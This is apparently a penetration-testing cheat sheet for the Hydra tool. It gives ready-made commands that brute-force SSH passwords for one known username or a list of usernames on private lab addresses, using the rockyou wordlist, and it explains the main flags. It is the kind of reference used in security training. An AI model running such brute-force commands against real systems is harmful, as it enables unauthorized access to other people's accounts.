Pre-made commands

Attack the username george on ssh port 2222 at 192.168.50.201
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
Attack a list of usernames (users)
hydra -v -V -u -L users -P /usr/share/wordlists/rockyou.txt -t 4 -u 192.168.225.120 ssh

Flags

FlagWhat it does
-LWord list to use to attack a username
-lUsername to attack (Name is known)
-PWord list to use to attack a password
-pPassword to use (pw is known)

Useful Scripts

Useful bash script
#!/bin/bash